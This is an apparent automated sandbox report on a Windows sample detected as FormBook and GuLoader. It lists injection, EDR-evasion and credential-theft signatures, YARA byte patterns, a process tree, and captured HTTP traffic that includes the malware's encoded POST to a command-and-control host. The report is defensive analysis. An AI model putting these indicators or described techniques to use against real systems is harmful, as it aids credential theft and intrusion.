Edit tour

Windows Analysis Report
fJuwM4Bwi7.exe

Overview

General Information

Sample name:	fJuwM4Bwi7.exe
Analysis ID:	1451684
MD5:	0cb5485c0840cf976767bc45fb0b45d4
SHA1:	3eee45faada0a0ee309065cc279b6c38e6dd809b
SHA256:	82940860d0091481df6eb2a273504bd2066f83649ffd87dffe03582440a938cc
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected FormBook

Yara detected GuLoader

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64native

fJuwM4Bwi7.exe (PID: 8852 cmdline: "C:\Users\user\Desktop\fJuwM4Bwi7.exe" MD5: 0CB5485C0840CF976767BC45FB0B45D4)

fJuwM4Bwi7.exe (PID: 3344 cmdline: "C:\Users\user\Desktop\fJuwM4Bwi7.exe" MD5: 0CB5485C0840CF976767BC45FB0B45D4)

SLePhgUCFUcrYZVod.exe (PID: 2444 cmdline: "C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

secinit.exe (PID: 5436 cmdline: "C:\Windows\SysWOW64\secinit.exe" MD5: 3B4B8DB765C75B8024A208AE6915223C)

SLePhgUCFUcrYZVod.exe (PID: 2980 cmdline: "C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 9140 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: D1CC73370B9EF7D74E6D9FD9248CD687)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a4d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13adf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a4d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13adf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a4d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13adf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a4d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13adf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x3ad07:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x24316:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x8471df:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x8307ee:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x8471df:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x8307ee:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.79055979562.0000000004FBC000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Click to see the 10 entries

HTTP traffic detected: POST /8cwt/ HTTP/1.1Host: www.airportsurvery.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Origin: http://www.airportsurvery.comReferer: http://www.airportsurvery.com/8cwt/Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 203User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31Data Raw: 32 34 65 6c 75 58 3d 48 43 4d 4c 33 38 55 55 72 50 61 39 47 69 6b 73 79 76 39 4b 43 41 51 54 66 61 54 58 34 57 4a 4b 4d 42 68 64 47 4c 57 7a 48 37 54 61 46 4c 32 4b 33 38 55 4b 4b 45 33 53 45 37 49 44 58 76 31 79 6d 44 50 57 69 68 68 77 4b 2f 53 47 75 6d 63 67 6e 50 63 65 68 4a 56 71 6a 4b 4a 66 6c 76 43 64 36 6b 53 7a 31 78 30 35 49 59 76 53 62 4a 6c 33 4c 6b 42 33 5a 65 78 34 68 6a 2f 75 61 46 65 76 5a 36 36 52 47 77 58 58 4e 39 4f 53 42 56 62 6e 50 33 31 6e 47 73 72 63 42 67 66 37 6a 2f 57 46 59 2f 77 62 77 4c 5a 30 68 36 4f 37 30 58 59 69 64 57 4f 71 73 51 56 47 4e 78 4d 6b 6a 4e 56 44 46 41 3d 3d Data Ascii: 24eluX=HCML38UUrPa9Giksyv9KCAQTfaTX4WJKMBhdGLWzH7TaFL2K38UKKE3SE7IDXv1ymDPWihhwK/SGumcgnPcehJVqjKJflvCd6kSz1x05IYvSbJl3LkB3Zex4hj/uaFevZ66RGwXXN9OSBVbnP31nGsrcBgf7j/WFY/wbwLZ0h6O70XYidWOqsQVGNxMkjNVDFA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:15:42 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:15:44 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:15:47 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:15:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:17:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:17:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:17:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:17:51 GMTContent-Type: text/htmlContent-Length: 571Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
